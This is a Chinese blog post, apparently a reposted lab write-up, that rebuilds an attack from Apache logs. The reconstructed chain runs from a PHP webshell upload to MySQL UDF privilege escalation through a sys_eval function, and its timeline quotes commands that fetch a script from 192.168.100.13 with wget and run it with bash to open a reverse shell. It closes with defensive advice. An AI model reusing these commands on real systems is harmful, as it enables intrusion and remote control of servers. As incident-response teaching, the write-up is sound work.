文章总结: 本文通过分析Apache访问日志还原了黑客从Webshell上传到MySQLUDF提权的完整攻击链路,详细记录了攻击时间线及关键操作步骤。文档提供了具体的防御建议,包括加强文件上传目录权限控制、数据库最小权限运行和监控敏感目录等可操作性措施。 综合评分: 82 文章分类: 应急响应,漏洞分析,实战经验,WEB安全,安全运营
实战复盘 如何通过 Apache 日志还原黑客的攻击链路?
原创
SKillLab SKillLab
SkillLab
2026年4月26日 20:04 北京
在小说阅读器读本章
去阅读
本文内容仅用于 OSCP 备考交流
互联网不是法外之地,请严格遵守《网络安全法》
01
前言
在接到主机失陷的告警后,应急响应人员的第一直觉至关重要。面对一台已经“沦陷”的服务器,我们通常需要执行“溯源三问”:
怎么进来的?(入口点:弱口令、Web漏洞、RCE等)
留下了什么?(线索:异常进程、日志、后门文件)
拿到了什么?(权限:Web用户、数据库用户、还是Root?)
本文将通过对/var/log/apache2/access.log的深度分析,复原一场从Webshell上传到MySQL UDF提权的完整攻击链路。
02
攻击时间线还原(2023年8月1日)
| | | | | — | — | — | | 时间 | 操作 | 目的 | | 02:02:31 | 上传sh.php文件 | 上传webshell,对服务器进行控制。 | | 02:08:20 | 最后一次访问 sh.php文件 | 可能是上传Webshell或试探 | | 02:09:04 | 执行 select version() | 查看数据库版本 | | 02:09:47 | 执行 select load_file(“/etc/passwd”) | 读取系统敏感文件 | | 02:11:07 | 执行 show variables like ‘%plugin%’ | 查找MySQL插件目录位置 | | 02:11:20 | 执行 select * from func | 检查是否已存在恶意函数 | | 02:11:33 | 再次执行 select * from func | 确认函数表状态 | | 02:12:54 | 执行 create function sys_eval … soname ‘mysqludf.so’ | 创建 sys_eval 恶意函数 | | 02:13:00 | 执行 select sys_eval(‘whoami’) | 首次调用 sys_eval,探测当前用户身份 | | 02:13:08 | 再次查询 func表 | 确认函数已成功注册 | | 02:13:18 | 再次执行 sys_eval(‘whoami’) | 验证函数功能稳定 | | 02:13:53 | 执行 sys_eval(‘curl 192.168.100.13:771’) | 尝试通过curl与外部C2服务器通信 | | 02:14:11 | 执行 sys_eval(‘wget 192.168.100.13:771’) | 尝试通过wget下载文件 | | 02:16:31 | 执行 sys_eval(‘wget -o /tmp/1.sh 192.168.100.13:771/1.sh’) | 下载恶意脚本到 /tmp 目录 | | 02:16:35 | 再次尝试下载(换端口777) | 备用下载通道 | | 02:16:43 | 执行 sys_eval(‘ls /tmp/’) | 确认脚本已下载成功 | | 02:16:57 | 执行 sys_eval(‘bash /tmp/1.sh’) | 执行下载的恶意脚本 | | 02:17:09 | 再次访问 sh.php | 维持连接 | | 02:17:37 | 执行 sys_eval(‘ls -la /tmp/’) | 确认脚本权限和执行状态 | | 02:18:18 | 执行 Base64 解码命令(反弹Shell命令解码测试) | 准备反弹Shell payload | | 02:18:27 | 将反弹Shell命令写入 /tmp/1.sh | 部署反弹Shell脚本 | | 02:18:37 | 执行 ls -la /tmp/1.sh | 确认脚本写入成功 | | 02:19:07 | 执行 bash /tmp/1.sh | 执行反弹Shell,建立远程控制通道 |
根据时间线,我们可以集中回答靶机中的4个问题。
03
靶机问题复盘(Flag详解)
1.黑客第一次写入的shellflag{关键字符串}
通过日志发现,攻击者频繁访问/sh.php。在进入Web目录查看后,确认其内容为一句话木马:
cat sh.php
2.黑客反弹shell的ipflag{ip}
在日志中我们可以看到攻击者向/tmp/1.sh文件中写入了反弹shell并执行。
ccfda79e-7aa1-4275-bc26-a6189eb9a20b
3.黑客提权文件的完整路径md5 flag{md5}注/xxx/xxx/xxx/xxx/xxx.xx
攻击者通过MySQL提权时,加载了一个二进制动态链接库文件。日志显示其在02:11:07查找了插件目录,并在02:12:54加载了mysqludf.so。
根据MySQL的默认规范,该文件通常位于/usr/lib/mysql/plugin/(需根据实际系统环境确认)。
md5sum /usr/lib/mysql/plugin/mysqludf.so
4.黑客获取的权限flag{whoami后的值}
攻击者在注册sys_eval函数后,立即执行了whoami
数据库提权获取的权限取决于数据库服务的启动用户,通过ps -aux发现,MySQL以mysql用户权限运行。
ps -aux
04
总结与防御建议
1.Web层面:应加强文件上传目录的权限控制,取消目录执行权限并部署WAF。
2.数据库层面:数据库应遵循最小权限原则运行,禁用高危函数,并严格限制plugin目录的写权限。
3.系统层面:监控/tmp等敏感目录的异常脚本执行行为。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:SkillLab SKillLab SKillLab《实战复盘 如何通过 Apache 日志还原黑客的攻击链路?》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。







![[工具推荐]两款最新的shiro反序列化漏洞综合利用工具](/images/random/titlepic/3.jpg)


评论